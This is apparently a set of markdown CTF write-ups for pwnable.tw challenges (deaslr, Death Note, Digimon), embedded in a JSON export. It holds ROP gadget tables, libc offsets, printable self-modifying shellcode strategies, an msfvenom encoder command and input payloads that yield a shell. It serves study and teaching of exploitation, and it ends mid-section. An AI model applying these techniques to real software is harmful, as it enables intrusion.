```\n\n- **Stack residual + `_start` loop:** Call `_start` repeatedly to push libc addresses onto the stack at predictable offsets within `.bss`, then overwrite their low bytes.\n\n**Reliability:** 1/16 to 1/4096 per attempt. Simple to implement but requires retry loop.\n\n---\n\n### Path D — Return to `_dl_init` / Dynamic Linker (Advanced, Deterministic)\n\n**Used by:** Solution 1626\n\n**Idea:** The glibc dynamic linker (`ld.so`) leaves constructor-calling infrastructure on the stack. By carefully setting up registers and returning into `_dl_init`'s constructor-dispatch loop with a fake `link_map` struct in `.data`, you can trick the linker into calling `gets@got + system_offset` as if it were an init function.\n\n**Steps:**\n\n1. Stage a fake `link_map` struct in `.data` with `l_info[DT_INIT]` pointing to `gets@got - 8` (to indirect through the GOT).\n2. Set `r14 = &fake_link_map`, `rbx = 1`, `rdi = &\"/bin/sh\"`.\n3. Return into `_dl_init`'s constructor loop — it calls `[gets@got]` with the system offset pre-applied via the struct layout.\n\n**Reliability:** Deterministic but depends on exact linker version/behavior. Fragile across glibc versions.\n\n---\n\n### Path E — `_IO_getline_info` Gadget + `jmp rax` (Near-Deterministic)\n\n**Used by:** Solution 13204\n\n**Idea:** After `gets()` is called, the return path through `_IO_getline_info` leaves a libc address on the stack. The `_IO_getline_info+208` code does `mov rax, rbp; sub rax, [rsp+8]; ... ret`, which computes an arbitrary libc address in `rax`. Combined with `jmp rax`, this becomes `call \u003canywhere in libc>`.\n\n**Steps:**\n\n1. Pivot stack to `.bss`, call `gets()` to leave `_IO_getline_info+292` on the stack.\n2. Use `add byte ptr [rax], al` (0x4005CE) to change the low byte from `+292` to `+208`.\n3. Place the distance `rbp - one_gadget` at `[rsp+8]`, so `mov rax, rbp; sub rax, [rsp+8]` computes `one_gadget` in `rax`.\n4. `jmp rax` → shell.\n\n**Reliability:** Requires the low byte fixup to succeed (needs specific heap/stack alignment). Near-deterministic with correct `.bss` address tuning.\n\n---\n\n### Path F — Forge Fake `FILE` struct → `_IO_flush` Leak (Deterministic)\n\n**Used by:** Solution 1461\n\n**Idea:** Forge a fake `FILE` (`_IO_FILE`) struct in `.bss` with `_fileno = 1` and buffer pointers aimed at the GOT. Then call `gets()` with `rdi` pointing near the fake FILE — when `gets()` internally flushes stdout via `_IO_file_write`, it writes GOT contents to fd 1.\n\n**Steps:**\n\n1. Pivot to `.bss`, call `main` to deposit `_IO_2_1_stdin_` address.\n2. Construct a fake FILE: `_flags = 0xFBAD0800`, `_IO_write_base = GOT`, `_IO_write_ptr = GOT+8`, `_fileno = 1`.\n3. Call `gets()` with `rdi` pointing to the fake FILE region — the internal stdio machinery calls `_IO_file_write` on our fake struct, leaking GOT to stdout.\n4. Receive leak, compute libc base, return to `one_gadget`.\n\n**Reliability:** Deterministic. Requires understanding glibc stdio internals.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Stack overflow | `gets()` with 0x10 buffer | Deterministic |\n| Stack pivot | `leave; ret` or `pop rsp` | Deterministic |\n| Arbitrary `.bss` write | `gets@plt` called via ROP | Deterministic |\n| Register load from GOT | `pop rsp` onto GOT, `pop r14` | Deterministic |\n| Arithmetic on stored libc addr | `adc [rbp+0x48], edx` | Deterministic |\n| Indirect call via libc vtable | `call [r12+rbx*8]` + computed offset | Deterministic |\n| Partial overwrite of libc addr | Low-byte overwrite of stack residual | 1/16 – 1/4096 |\n| Byte-level memory edit | `add byte [rax], al` | Deterministic (if rax controlled) |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\ngets = 0x6ED80\nexecve = 0xCBBC0\nsystem = 0x45390\n__libc_start_main = 0x20740\n_IO_2_1_stdin_ = 0x3C38E0\n_IO_file_write = 0x7A6B70\n__free_hook = 0x3C57A8\n__malloc_hook = 0x3C3B10\nbin_sh = 0x18C177\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n```\n\n## Binary Gadgets (Fixed, No PIE)\n\n```python\nPOP_RDI = 0x4005C3 # pop rdi ; ret\nPOP_RSI_R15 = 0x4005C1 # pop rsi ; pop r15 ; ret\nPOP_RSP = 0x4005BD # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret\nPOP6 = 0x4005BA # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret\nCSU_CALL = 0x4005A0 # mov rdx,r13 ; mov rsi,r14 ; mov edi,r15d ; call [r12+rbx*8]\nCSU_INIT = 0x400562 # push r14 ; ... (csu prologue, stores regs to stack)\nADC_WRITE = 0x4004F8 # adc dword [rbp+0x48], edx ; mov ebp,esp ; call deregister\nADD_BYTE = 0x4005CE # add byte ptr [rax], al ; ret\nPOP_RBP = 0x4004A0 # pop rbp ; ret\nLEAVE_RET = 0x400554 # leave ; ret (stack pivot)\nGETS_PLT = 0x400430 # gets@plt\nJMP_RAX = 0x400495 # jmp rax\nRET = 0x4003F9 # ret (nop sled)\nSTART = 0x400440 # _start\nMAIN = 0x400536 # main\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `186.md` | A | adc gadget + push r14, leakless execve | Clean deterministic solution |\n| `278.md` | B | `_IO_new_file_write` via `call [r12+rbx*8]` | Ruby; uses stdin pointer + vtable offset |\n| `1303.md` | C | 1.5-byte brute force of system addr | Partial overwrite after GOT pivot |\n| `1384.md` | B | `_IO_file_write` leak via vtable | ret to `_start` for libc pointer; detailed gadget search |\n| `1461.md` | F | Fake FILE struct flush leak | Constructs `_IO_FILE` in `.bss` |\n| `1562.md` | E | `_IO_getline_info` + stack residual | Novel: uses libc-internal stack residuals |\n| `1626.md` | D | Return to `_dl_init` constructor loop | Fake `link_map` struct |\n| `1852.md` | B | ret to `_start`/`main` + `_IO_file_write` | `call [r12+rbx*8]` with negative `rbx` |\n| `1912.md` | A variant | `sub eax` + `add [rax]` arithmetic | Manual libc address construction |\n| `1980.md` | C | Partial overwrite of one_gadget low bytes | 1/16 brute force via `add byte [rax], al` |\n| `2121.md` | C | `_start` loop + partial overwrite | Deposits libc addrs, overwrites to `system` |\n| `2233.md` | A | `adc` + `__malloc_initialize_hook` | Uses malloc hook instead of execve |\n| `2567.md` | C | 12-bit brute force, 3-line exploit | Simplest solution: `ret*18 + '\\xc4\\x16'` |\n| `10128.md` | B | Leak `gets@got` via `_IO_file_write` | C++ exploit |\n| `13204.md` | E | `_IO_getline_info+208` as compute gadget | Adjusts low byte, then `jmp rax` |\n| `15989.md` | E | `_IO_getline_info` + `syscall; ret` | Converts residual to syscall gadget |\n| `18324.md` | B | `call [r12+rbx*8]` with negative rbx | Leaks GOT via `_IO_file_write` |\n| `24887.md` | B | ret2csu + fake FILE | C++ exploit; clean leak chain |\n| `26207.md` | B | ret2csu, `_IO_file_write` | Detailed stack management |\n| `27878.md` | B | ret2csu, negative `rbx` | Leaks via `_IO_proc_jumps` vtable |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit (Path A: leakless `adc` arithmetic) |\n| `desc.txt` | Challenge description |\n| `artifacts/deaslr` | Challenge binary (x86-64, No PIE, Full RELRO) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `solution/*.md` | Community write-ups (77 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":15115,"content_sha256":"f142da4d602607821e4bbcddcbf60f311eed28f95a2e6655980054a7666b55f9"},{"filename":"pwnable-tw/death_note.md","content":"---\ntags:\n - out-of-bounds-write\n - alpha-shellcode\n - got-overwrite\nplatform: pwnable.tw\npoints: 300\narch: i386\nlibc: static\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A negative index in note selection allows writing an address into the GOT array, redirecting execution to printable alphanumeric shellcode stored on an executable heap.\"\nproof-of-concept: no\n---\n\n# Death Note — pwnable.tw (300 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10201`\n>\n> \"Write the shellcode on your Death Note.\"\n\n## Challenge Overview\n\nA simple note management binary (i386, no PIE, Partial RELRO, **NX nominally enabled but heap is executable** due to missing `PT_GNU_STACK` header → `READ_IMPLIES_EXEC` on the old remote kernel). The program lets the user add, show, and delete notes stored in a global array. Input content is filtered to only allow **printable ASCII** bytes (0x20–0x7e).\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled # but heap is executable (READ_IMPLIES_EXEC)\n PIE: No PIE\n```\n\nBinary is **not stripped**, named functions visible: `add_note`, `show_note`, `del_note`, `read_input`, `read_int`, `is_printable`, `menu`, `main`.\n\n## Binary Reconstructed Logic\n\n```c\n// Global note array at 0x804a060\nchar *note[11]; // note[0]..note[10]\n\nvoid add_note() {\n char buf[0x50];\n printf(\"Index :\");\n int idx = read_int();\n if (idx > 10) { puts(\"Out of bound!!\"); exit(0); } // BUG: no lower bound check\n printf(\"Name :\");\n read_input(buf, 0x50);\n if (!is_printable(buf)) { puts(\"It must be printable\"); exit(-1); }\n note[idx] = strdup(buf); // heap alloc, stores pointer at note[idx]\n puts(\"Done !\");\n}\n\nvoid show_note() {\n printf(\"Index :\");\n int idx = read_int();\n if (idx > 10) { puts(\"Out of bound!!\"); exit(0); } // BUG: no lower bound check\n if (note[idx])\n printf(\"Name : %s\\n\", note[idx]);\n}\n\nvoid del_note() {\n printf(\"Index :\");\n int idx = read_int();\n if (idx > 10) { puts(\"Out of bound!!\"); exit(0); } // BUG: no lower bound check\n free(note[idx]); // calls free@plt → jmp *free@got\n note[idx] = 0;\n}\n\nint is_printable(char *s) {\n for (int i = 0; i \u003c strlen(s); i++)\n if (s[i] \u003c= 0x1f || s[i] == 0x7f) return 0;\n return 1;\n}\n```\n\n## Vulnerabilities\n\n### V1 — Negative Index OOB Write/Read (Primary, Exploitable)\n\n**Root Cause:** `add_note`, `show_note`, and `del_note` all check `if (idx > 10) exit(0)` but **never check `idx \u003c 0`**. Since `idx` is a signed `int` and the array access is `note[idx]` (i.e., `*(note_base + idx*4)`), a negative index accesses memory **below** the `note` array — straight onto the GOT.\n\n```asm\n; add_note — the critical store\nmovl %edx, 0x804a060(,%eax,4) ; note[idx] = strdup(buf)\n; when idx = -19: 0x804a060 + (-19)*4 = 0x804a014 = free@got\n```\n\n**Key GOT Addresses vs. `note` base (0x804a060):**\n\n| GOT Entry | Address | Index |\n|-----------|---------|-------|\n| `read@got` | `0x804a00c` | -21 |\n| `printf@got` | `0x804a010` | -20 |\n| `free@got` | `0x804a014` | **-19** |\n| `strdup@got` | `0x804a018` | -18 |\n| `__stack_chk_fail@got` | `0x804a01c` | -17 |\n| `puts@got` | `0x804a020` | **-16** |\n| `exit@got` | `0x804a024` | -15 |\n| `strlen@got` | `0x804a028` | -14 |\n\n**Impact:** Writing at a negative index overwrites a GOT entry with the heap pointer returned by `strdup()`. Since the heap is executable, the GOT entry now points to attacker-controlled shellcode on the heap.\n\n### V2 — Negative Index OOB Read (Leak)\n\nUsing `show_note` with a negative index reads `note[idx]` from before the array — which includes the GOT. Since GOT entries contain resolved libc function pointers after first call, this leaks libc addresses.\n\n```c\n// show_note with idx = -21 reads note[-21] = read@got → leaks &read in libc\n```\n\n**Impact:** Leak libc base for computing `system()` address (used by some exploit variants).\n\n### V3 — Printable-Only Filter Constraint\n\n```c\nint is_printable(char *s) {\n for (int i = 0; i \u003c strlen(s); i++)\n if (s[i] \u003c= 0x1f || s[i] == 0x7f) return 0; // reject \u003c 0x20 or == 0x7f\n return 1;\n}\n```\n\nAll shellcode bytes must be in range `[0x20, 0x7e]`. This means bytes like `\\xcd\\x80` (`int 0x80`), `\\x31\\xc0` (`xor eax,eax`), `\\x89\\xe3` (`mov ebx,esp`), and `\\x0b` (`mov eax, 11`) are **forbidden**. Shellcode must be **printable/alphanumeric** or **self-modifying**.\n\n## Key Data Structures\n\n### Memory Layout (BSS)\n\n```text\n0x804a000 GOT start\n0x804a00c read@got\n0x804a010 printf@got\n0x804a014 free@got ← index -19\n0x804a018 strdup@got ← index -18\n0x804a01c __stack_chk_fail@got\n0x804a020 puts@got ← index -16\n0x804a024 exit@got ← index -15\n0x804a028 strlen@got ← index -14\n...\n0x804a060 note[0] ← base (index 0)\n0x804a064 note[1]\n...\n0x804a088 note[10]\n```\n\n## Exploit Paths\n\nAll solutions exploit V1 (negative index GOT overwrite). They differ in which GOT entry to overwrite, shellcode encoding strategy, and whether they need a leak.\n\n---\n\n### Path A — Overwrite `free@got` → Printable Shellcode (Most Common)\n\n**Used by:** Solutions 184, 1236, 1303, 1351, 1395, 1715, 1780, 1803, 1852, 1922, 2121, 14032, 21260, 22696, exp.py\n\n**Steps:**\n\n1. **`add_note(-19, shellcode)`**: `strdup(shellcode)` copies the printable shellcode to a heap chunk `H` and writes `H` into `note[-19]` = `free@got`.\n\n2. **`del_note(-19)`**: Calls `free(note[-19])` → `free@plt` → `jmp *free@got` = `jmp H`. The argument to `free()` is `H` itself, so **EAX = H** (the shellcode's own address on the heap), giving the shellcode a base register.\n\n3. The shellcode uses self-modifying code to produce `int 0x80` (`\\xcd\\x80`) at runtime, since those bytes aren't printable.\n\n**Shellcode Strategies for Printable `execve(\"/bin//sh\")`:**\n\n- **Self-patching XOR:** Use `push eax; pop esi` to get shellcode base address, then `xor word [esi+offset], cx` where `cx` is crafted so the XOR of a printable placeholder yields `\\xcd\\x80`. Example from exp.py:\n ```asm\n push eax ; pop esi ; esi = shellcode base (H)\n ; ... build cx = 0xc18c via printable sub chain ...\n xor word [esi+0x4b], cx ; patches placeholder 0x4141 → 0x80cd = int 0x80\n ```\n\n- **Self-patching SUB:** Use `sub byte [eax+offset], dl` with printable `dl` values to subtract down to `\\xcd` and `\\x80`.\n\n- **Stack pivot + push:** Pivot `esp` to the heap (since EAX = heap addr), push the `int 0x80` opcode bytes onto the heap via arithmetic, then execute them in-line.\n\n- **`inc eax` × 11:** Build `eax = 0xb` (execve syscall) using 11 `inc eax` instructions (opcode `\\x40`, printable).\n\n**Register Setup for `execve`:**\n```asm\n; eax = 0xb (via inc eax * 11, or push 0x3b; pop eax; xor al, 0x30)\n; ebx → \"/bin//sh\" (push 0x68732f2f; push 0x6e69622f; push esp; pop ebx)\n; ecx = 0 (push edx; pop ecx, or inherited from caller)\n; edx = 0 (inherited or push ecx; pop edx)\n; int 0x80 (self-patched at runtime)\n```\n\n**Reliability:** 100% — no ASLR/randomness involved. Fixed addresses, deterministic.\n\n---\n\n### Path B — Overwrite `puts@got` → Shellcode\n\n**Used by:** Solutions 184 (first script), 1251, 15134\n\n**Steps:**\n\n1. **`add_note(-16, shellcode)`**: Overwrites `puts@got` with heap shellcode pointer.\n\n2. Any subsequent call to `puts()` (e.g., from menu printing or \"Done!\") jumps to shellcode.\n\n**Variant — Two-stage shellcode:** Some solutions split the shellcode across two heap allocations (due to size constraints), with the first stage jumping to the second.\n\n**Note:** The initial register state differs from Path A — EAX does not contain the shellcode address, so some solutions use different approaches (e.g., reading EAX from the stack via `pop` gadgets).\n\n---\n\n### Path C — Overwrite `strlen@got` → ROP/Stage2\n\n**Used by:** Solutions 2239, 1006\n\n**Steps:**\n\n1. **`add_note(-14, shellcode_stub)`**: Overwrites `strlen@got`. Since `is_printable()` calls `strlen()` on user input, the next `add_note` call triggers the overwritten `strlen@got` with the user's input buffer on the stack.\n\n2. The stub patches itself or pivots the stack to perform a second-stage `read_input()` call that reads unrestricted shellcode (no printable filter) into a known writable/executable address.\n\n3. Jump to the second-stage shellcode → `execve(\"/bin/sh\")`.\n\n**Advantage:** Bypasses the printable filter entirely for the real shellcode — only the stub needs to be printable.\n\n---\n\n### Path D — Leak libc + Overwrite GOT → `system`\n\n**Used by:** Solutions 1384, 1715 (variant)\n\n**Steps:**\n\n1. **Leak libc:** `show_note(-21)` reads `note[-21]` = `read@got` → prints resolved `read` address → compute libc base.\n\n2. **Compute `system` address:** `libc_base + system_offset`.\n\n3. **Check if `system` address is printable** (middle bytes). If not, retry or use a different approach.\n\n4. **Overwrite `free@got` with printable shellcode** that patches the GOT entry of another function to `system`, then calls it with `\"/bin/sh\"` as argument.\n\n**Variant — `__malloc_hook`:** Some solutions overwrite `__malloc_hook` via the negative index (requires computing the correct index from the BSS) and trigger `malloc` (via `strdup` in `add_note`).\n\n---\n\n### Path E — Alphanumeric Encoder Stub\n\n**Used by:** Solutions 1395 (msfvenom), 15134\n\n**Steps:**\n\n1. Use `msfvenom -e x86/alpha_mixed BufferRegister=EDX` or a hand-crafted alphanumeric decoder stub.\n\n2. The stub decodes an in-line encoded payload at runtime, producing arbitrary shellcode bytes.\n\n3. Jump to decoded shellcode → `execve(\"/bin/sh\")`.\n\n**Example (msfvenom):**\n```bash\necho '\\x83\\xC4\\x30\\xC3' | msfvenom -a x86 --platform linux -p - -e x86/alpha_mixed BufferRegister=EDX\n```\n\n## Shellcode Encoding Techniques Summary\n\n| Technique | How `int 0x80` is Produced | Printable? | Size |\n|-----------|---------------------------|------------|------|\n| XOR self-patch | `xor word [esi+off], cx` where placeholder ⊕ cx = `\\xcd\\x80` | Yes | ~60-77 bytes |\n| SUB self-patch | `sub byte [eax+off], dl` to decrement printable bytes down | Yes | ~50-70 bytes |\n| Stack pivot + push | Pivot ESP to heap, push `\\xcd\\x80` as computed dword | Yes | ~60-80 bytes |\n| `inc eax` × 11 | N/A for int 0x80; patches via XOR/SUB | Yes | ~40-60 bytes |\n| msfvenom alpha_mixed | Full decoder stub | Alphanumeric | ~80+ bytes |\n| Two-stage (read + jmp) | Second stage is unrestricted | Only stub | ~30 + unlimited |\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| GOT overwrite (write) | V1: negative index in add_note | Deterministic |\n| GOT read (leak) | V2: negative index in show_note | Deterministic |\n| Heap code execution | Missing PT_GNU_STACK → READ_IMPLIES_EXEC | Deterministic on remote |\n| Printable shellcode | Self-modifying / encoded | Deterministic |\n| Shell | `execve(\"/bin/sh\")` via int 0x80 | Deterministic |\n\n## Offsets\n\n```python\n# Binary addresses (no PIE)\nnote_base = 0x0804a060\nfree_got = 0x0804a014 # index -19\nputs_got = 0x0804a020 # index -16\nstrlen_got = 0x0804a028 # index -14\nread_got = 0x0804a00c # index -21\n\n# Useful gadgets\npop_edi_pop_ebp_ret = 0x08048a8a\nread_input = 0x0804862b\n```\n\n## Solution Write-ups\n\n| File | Primary Path | GOT Target | Shellcode Technique | Notes |\n|------|-------------|------------|---------------------|-------|\n| `184.md` | A/B | puts@got (-16) | Alphanumeric, two-stage with jno jump | Two chunks, sc1→sc2 |\n| `196.md` | Custom | N/A | Heap spray + printable stub | 222 brute-force allocs |\n| `1006.md` | C | strlen@got (-14) | Stub + ROP to read_input for stage2 | Bypasses printable filter |\n| `1236.md` | A | free@got (-19) | XOR self-patch + `inc eax`×11 | Compact, direct |\n| `1251.md` | A | puts@got (-16) | Alphanumeric (pwntools asm) | Self-modifying xor+xor |\n| `1303.md` | A | free@got (-19) | Stack pivot to heap, push int 0x80 | Clever stack migration |\n| `1351.md` | A | free@got (-19) | Stack pivot + xor ax sequences | Uses `push edi; pop esp` |\n| `1384.md` | D | __malloc_hook | libc leak via show + heap shellcode | Uses negative show for leak |\n| `1395.md` | E | free@got (-19) | msfvenom alpha_mixed encoder | One-liner shellcode |\n| `1715.md` | A | free@got (-19) | XOR self-patch, sub chain for eax=0xb | Clean modular approach |\n| `1780.md` | A | free@got (-19) | XOR + sub byte, `jno` for conditional flow | Stores /bin/sh in note[0] |\n| `1803.md` | A | free@got (-19) | AND+SUB chains for `int 0x80` bytes | Ruby solver |\n| `1852.md` | A | free@got (-19) | Stack pivot via `pop esp` | Pushes `int 0x80` onto heap |\n| `1922.md` | A | free@got (-19) | XOR `[ebx+off]` self-patch | Patches 2 bytes via `al=0x80` |\n| `1980.md` | A | puts@got (-16) | SUB byte chain for cd/80 | Stores /bin/sh separately |\n| `2121.md` | A | free@got (-19) | XOR + dec ecx chain for self-patch | Uses `esi+ecx*2` addressing |\n| `2239.md` | C | strlen@got (-14) | Stub → leak heap → ROP → read stage2 | Most complex, two stages |\n| `10128.md` | A | free@got (-19) | DEC+XOR byte self-patch | Stores /bin/sh in note[0] |\n| `14032.md` | A | free@got (-19) | XOR self-patch using `[eax+off]` | Compact, `\\x61\\x61` = `int 0x80` patch |\n| `15134.md` | E | puts@got (-16) | Alphanumeric decoder (`sub` + `xor`) | Encodes each forbidden byte |\n| `21260.md` | A | free@got (-19) | SUB chain: `sub [esi+off], eax` | Dual sub for `cd80` word |\n| `22696.md` | A | free@got (-19) | Stack pivot + XOR ax chain | Includes NASM source |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (printable self-patching execve shellcode) |\n| `desc.txt` | Challenge description |\n| `artifacts/death_note` | Original challenge binary (i386, not stripped) |\n| `solution/*.md` | Community write-ups (141 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13993,"content_sha256":"dd41ee45572d38f23614b937b4ef1e0e8a9bf88778f0a10132bbf7b1db786082"},{"filename":"pwnable-tw/digimon.md","content":"---\ntags:\n - use-after-free\n - race-condition\n - vtable-hijack\nplatform: pwnable.tw\npoints: 600\narch: x86-64\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A race condition between concurrent battle threads creates a use-after-free on Digimon objects, allowing virtual method table pointer overwrite.\"\nproof-of-concept: no\n---\n\n# Digimon — pwnable.tw (600 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10501`\n>\n> Flag: `FLAG{You_have_conquered_the_world_of_digimon!}`\n\n## Challenge Overview\n\nA multithreaded Digimon \"game\" binary (x86-64, PIE, Partial RELRO, NX, Stack Canary) built against glibc 2.23. The player navigates a 20x20 map, encounters wild digimon, battles/befriends them, manages a partner roster, runs tasks via `pthread` workers, visits a shop, and can recruit a hidden boss (Toolmon). The game parses commands from stdin using `strtok`.\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\n## Vulnerabilities\n\n### V1 — `strtok` Overwrites Stack Variable (Primary, Exploitable)\n\n**Root Cause:** The main loop reads commands into a `0x68`-byte stack buffer via `read_line(buf, 0x68)` which does **not** NUL-terminate when the buffer is fully filled. Adjacent on the stack is the `partner_index` variable used by the `task` command.\n\n```c\n// main_loop (simplified)\nchar command_buf[0x68]; // +0x00\n// uint32_t partner_idx; // +0x68 (immediately after buffer on stack)\n// uint32_t task_type; // +0x6c\n\nmemset(command_buf, 0, sizeof(command_buf));\nread_line(command_buf, sizeof(command_buf)); // NO NUL terminator if full\nstrtok(command_buf, \" \"); // first token = command\n\nif (!strncmp(command_buf, \"task\", 4)) {\n char *s1 = strtok(NULL, \" \"); // partner index token\n arg1 = atoi(s1); // parsed as partner index\n if (arg1 \u003c num_partners && !partners[arg1].is_busy) {\n char *s2 = strtok(NULL, \" \"); // \u003c-- THIS strtok walks off buffer\n arg2 = atoi(s2); // and NUL-overwrites arg1\n add_task(arg1, arg2); // now arg1 == 0, not 32\n }\n}\n```\n\n**Trigger:** Send `'task 32'.ljust(0x66, '_') + ' 3n '` (0x6c bytes). The parsing flow:\n1. `strtok` finds `\"task\"`, NUL-replaces the space → `\"task\\x0032...\"`.\n2. Second `strtok` finds `\"32\"` → `arg1 = 32`. Busy-check passes on partner 32.\n3. Third `strtok` seeks past `arg1` on the stack, NUL-overwrites its low byte → `arg1` becomes **0**.\n4. `add_task(0, task_type)` executes — tasks are appended to **partner 0** (which *is* busy), bypassing the busy check.\n\n**Impact:** Unbounded writes to partner 0's `task_queue[4]` array, overflowing into the **next heap-allocated Partner struct** with bytes `\\x01`, `\\x02`, or `\\x03` (the task type values).\n\n```c\n// enqueue_task — no bounds check on task_count\npartner->task_queue[partner->task_count] = task; // OOB write\npartner->task_count++;\n```\n\n### V2 — Toolmon `scanf` Uninitialized Variable Leak (Exploitable)\n\n**Root Cause:** The Toolmon menu uses `scanf(\"%u\", &action)` / `scanf(\"%u\", &amount)` / `scanf(\"%u %u\", &x, &y)`. If the user inputs `\"+\"` or `\"-\"`, `scanf` fails without writing the variable, printing back **uninitialized stack data**.\n\n```c\n// talk_toolmon\nscanf(\"%u\", &action);\nprintf(\"%u is not available, sir:(\\n\", action); // leaks stack garbage\n```\n\n**Impact:**\n- **PIE base leak**: Input `\"+\"` for the action menu → leaks low 32 bits; then `\"+\"` for the \"how much money\" prompt → leaks high 32 bits. Combine to get a code pointer, subtract known offset → PIE base.\n- **Stack cookie leak**: When Toolmon is adjacent to the shop NPC, the NPC-selection function places the canary on the stack where the Toolmon menu later reads uninitialized data. Input `\"+ +\"` for coordinates → leaks canary as `(low32, high32)`.\n\n### V3 — Item Index OOB Read (Minor, Situational)\n\n**Root Cause:** `use_item()` checks `item_id >= ITEM_COUNT` but the \"you don't have any\" error path in `show_bag`-style code uses the index to read from `g_item_names` without full validation.\n\n```c\nprintf(\"You don't have any %s!\\n\", g_item_names[item_idx]);\n// if item_idx is large, reads OOB from .rodata/.data/.bss\n```\n\n**Impact:** Arbitrary OOB read from the item names array. Can leak pointers from BSS/GOT if the indexed memory happens to be mapped (unreliable, ~1/0x2000 chance).\n\n### V4 — `read_line` Missing NUL Terminator (Enabler)\n\n```c\n// read_line: reads up to max_len bytes, NO NUL termination\nstatic uint32_t read_line(char *buf, uint32_t max_len) {\n // ... reads byte-by-byte, returns on '\\n' or max_len\n // never appends '\\0'\n}\n```\n\nThis is the root enabler for V1 — `strtok` walks past the buffer boundary because no NUL terminator marks the end of user input.\n\n### V5 — `sprintf` Stack Buffer Overflow in Battle Status (Not Exploitable)\n\n```c\nstatic void print_battle_status(...) {\n char line_buf[24];\n sprintf(line_buf, \"%.2lf / %.2lf\", partner->hp, partner->max_hp);\n // Large trained stats can overflow the 24-byte buffer\n}\n```\n\n**Impact:** Overflows the stack buffer, but the written bytes are floating-point digits — cannot control them to bypass the stack canary.\n\n### V6 — Race Condition in Evolve (Not Exploitable)\n\nTraining via task thread and using Philosopher's Stone item simultaneously can trigger a double evolve, setting `stage > 3`. This causes an OOB read on the image pointer array, which crashes the program.\n\n### V7 — Toolmon \"Die for me\" Stale Index (Not Exploitable)\n\nKilling Toolmon via \"Die for me\" uses `memmove` to compact the partner array but doesn't update `g_active_partner_index`. The resulting OOB index doesn't point to anything useful.\n\n### V8 — Task Thread Stack Overflow via `strncat` (Exploitable, Impractical)\n\n```c\n// task_worker\nchar notification_buf[1024];\nstrncat(notification_buf, line_buf, 0x100); // repeated per task\n```\n\nIf `task_count` is corrupted (via V1) to a large value, the thread processes hundreds of tasks, each `strncat`-ing ~256 bytes into a 1024-byte stack buffer → stack buffer overflow in the worker thread. However, this requires leaking the canary first and waiting for all tasks to finish (potentially hours).\n\n## Key Data Structures\n\n### Partner Struct (0xa0 bytes)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `name` | `char[24]` (inline, from species DB) |\n| `0x18` | `species_id` | `uint16_t` |\n| `0x1a` | `stage` | `uint8_t` (0=Rookie, 3=Mega) |\n| `0x1b` | `charge_count` | `uint8_t` |\n| `0x20` | `speed` | `uint32_t` |\n| `0x24` | `luck` | `uint32_t` |\n| `0x28` | `max_hp` | `double` |\n| `0x30` | `hp` | `double` |\n| `0x38` | `atk` | `double` |\n| `0x40` | `potential` | `double` |\n| `0x50` | `notification` | `char *` (realloc'd) |\n| `0x58` | **`nickname`** | `char *` (malloc(0x80)) |\n| `0x60` | `pending_money` | `uint32_t` |\n| `0x64` | `away` (busy flag) | `uint8_t` |\n| `0x68` | `mutex` | `pthread_mutex_t` |\n| `0x90` | `task_thread` | `pthread_t *` (malloc(8)) |\n| `0x98` | `task_count` | `uint32_t` |\n| `0x9c` | `task_queue` | `uint8_t[4]` ← overflow starts here |\n\n## Exploit Paths\n\nAll known solutions share the same core bug (V1: strtok overflow). They diverge on the leak strategy and the write-what-where target.\n\n---\n\n### Path A — Heap Overflow → Nickname Pointer Corruption → Arbitrary R/W → `__free_hook`/`__malloc_hook`\n\n**Used by:** Solutions 370 (exp.py), 821, 2311, 3148, 3498, 7905, 8153, 15989, 31599, 34817\n\n**Prerequisites:**\n- 33 partners (to have partner index 32 = ASCII space, needed for the strtok trick)\n- Naming Document purchased (to use the `nick` command)\n\n**Steps:**\n\n1. **Game Grind:** Befriend enough digimon, train to level up the world, collect 33 partners total (including Toolmon).\n\n2. **Trigger Heap Overflow (V1):** Send `'task 32'.ljust(0x66, '_') + ' 3'` repeatedly. Each iteration appends one byte (`\\x01`, `\\x02`, or `\\x03`) past partner 0's `task_queue[4]`, overflowing into the adjacent Partner struct (partner 1).\n\n3. **Corrupt Partner 1's Nickname Pointer:** The overflow writes `\\x01`/`\\x02`/`\\x03` bytes through partner 1's `name[24]` field (leaking a heap pointer since the name is read back by `mons`) and eventually corrupts the **low byte of `partner[1].nickname`** (at offset `+0x58`).\n\n4. **Achieve Overlap:** If the corrupted nickname pointer's low byte aligns to point into another Partner struct, writing to partner 1's nickname now writes into that struct's fields. This gives control over another partner's `notification` and `nickname` pointers → **arbitrary read/write**.\n\n5. **Leak Chain:**\n - **Heap:** Read partner 1's overflowed name to get the original nickname pointer value.\n - **libc:** Point the fake nickname at a known heap offset containing a `pthread_t` address (mmap region), or at a GOT entry (if PIE base is known), or use the notification-free trick to get a freed chunk's fd pointer into an unsorted bin → libc main_arena.\n - **Stack (optional):** Read `__environ` from libc to get a stack address.\n\n6. **Hijack Control Flow:**\n - **`__free_hook` = `system`**: 